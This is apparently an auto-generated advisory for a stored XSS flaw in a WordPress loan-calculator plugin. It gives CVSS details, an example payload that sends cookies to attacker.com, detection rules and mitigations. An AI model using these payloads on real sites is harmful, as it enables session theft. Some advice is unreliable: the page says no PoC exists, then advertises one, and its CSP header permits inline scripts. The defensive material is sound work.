CVE-2023-26000
Executive Summary
CVE-2023-26000 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the WordPress plugin Bang tinh vay (bang-tinh-lai-suat) by vendor Hanhdo205. The vulnerability affects all versions from n/a through 1.0.1. It allows an attacker to inject malicious scripts into web pages generated by the plugin, which are then stored and executed in the browsers of other users. The CVSS score is 5.9 (Medium), with a vector indicating network-based exploitation, low attack complexity, and required user interaction. No public proof-of-concept (PoC) or exploit code is currently available, and the patch status is unknown/unpatched.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the WordPress plugin repository or third-party sources. Users should verify the integrity of the plugin files and monitor for updates from the vendor. Since no patch is available, immediate mitigation steps are critical.
CVSS Breakdown & Threat Level
- CVSS Score: 5.9 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): None – No authentication needed.
- User Interaction (UI): Required – The victim must click a crafted link or visit a page.
- Scope (S): Changed – The impact extends beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure.
- Integrity (I): Low – Limited data modification.
- Availability (A): Low – Limited service disruption.
Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for stored XSS to affect multiple users elevates the risk in production environments.
Deep Dive & Mechanics
The vulnerability resides in the Bang tinh vay plugin, which provides loan calculation functionality. The plugin fails to properly neutralize user-supplied input during web page generation, leading to Stored XSS. Attackers can inject arbitrary JavaScript, HTML, or other client-side code into fields such as loan amounts, interest rates, or other input parameters. This injected code is stored in the database and executed when other users (including administrators) view the affected pages.
Attack Flow:
- Attacker identifies a vulnerable input field (e.g., loan amount).
- Attacker submits a payload like
<script>alert('XSS')</script>. - The payload is stored in the WordPress database.
- When an administrator or other user visits the page displaying the stored data, the script executes in their browser.
- The attacker can steal cookies, session tokens, or perform actions on behalf of the victim.
Root Cause: The plugin uses echo or print functions without proper escaping (e.g., esc_html() or wp_kses()), allowing raw HTML/JavaScript to be rendered.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable pattern.
Vulnerable Code (Example):
<?php
// Vulnerable: Direct output without sanitization
echo $_POST['loan_amount'];
?>
Patched Code (Expected):
<?php
// Patched: Use WordPress escaping functions
echo esc_html( $_POST['loan_amount'] );
?>
The patched version would use esc_html() to convert special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress instance with the Bang tinh vay plugin (version <= 1.0.1) installed and activated.
- A web browser with developer tools.
Steps:
- Navigate to the vulnerable page (e.g., loan calculator form).
- Identify input fields (e.g.,
loan_amount,interest_rate). - Inject a payload such as:
or a more sophisticated payload:<script>alert('XSS')</script><img src=x onerror=alert(1)> - Submit the form.
- The payload is stored. When an admin visits the page, the script executes.
Advanced Payload (Cookie Theft):
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
Blue Team (Defensive)
Detection:
- Monitor web application logs for unusual input patterns (e.g.,
<script>,onerror). - Use a Web Application Firewall (WAF) to block common XSS payloads.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Mitigation:
- Disable the plugin until a patch is available.
- Use WordPress security plugins (e.g., Wordfence) to add virtual patching.
- Manually sanitize inputs using
esc_html()orwp_kses()in custom code.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests containing
<script>tags in POST parameters. - Outbound connections to attacker-controlled domains (e.g.,
attacker.com).
- HTTP requests containing
- File IOCs:
- Modified plugin files (e.g.,
wp-content/plugins/bang-tinh-lai-suat/). - Suspicious entries in the WordPress
wp_postsorwp_postmetatables.
- Modified plugin files (e.g.,
- Behavioral IOCs:
- Unexpected JavaScript execution in the browser.
- Unauthorized admin actions (e.g., new user creation).
Detection Engineering
YARA Rule
rule CVE_2023_26000_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Bang tinh vay plugin"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2023-26000"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+["']?/is
$xss3 = /onload\s*=\s*["']?[^"'\s>]+["']?/is
condition:
any of them
}
Sigma Rule
title: CVE-2023-26000 Stored XSS in Bang tinh vay Plugin
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests with XSS payloads targeting the Bang tinh vay plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
http_method: POST
http_path: /wp-admin/admin-ajax.php
http_body|contains:
- '<script>'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in admin panels (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-26000 Stored XSS Payload Detected"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Implement a WAF rule to block common XSS patterns (e.g.,
<script>,onerror). - Add CSP headers to restrict script execution:
Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';" - Monitor logs for suspicious activity.
Long-Term Fix:
- Contact the vendor (Hanhdo205) for a patch.
- If the plugin is abandoned, consider replacing it with an alternative.
- Educate developers on secure coding practices (e.g., input validation, output escaping).
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.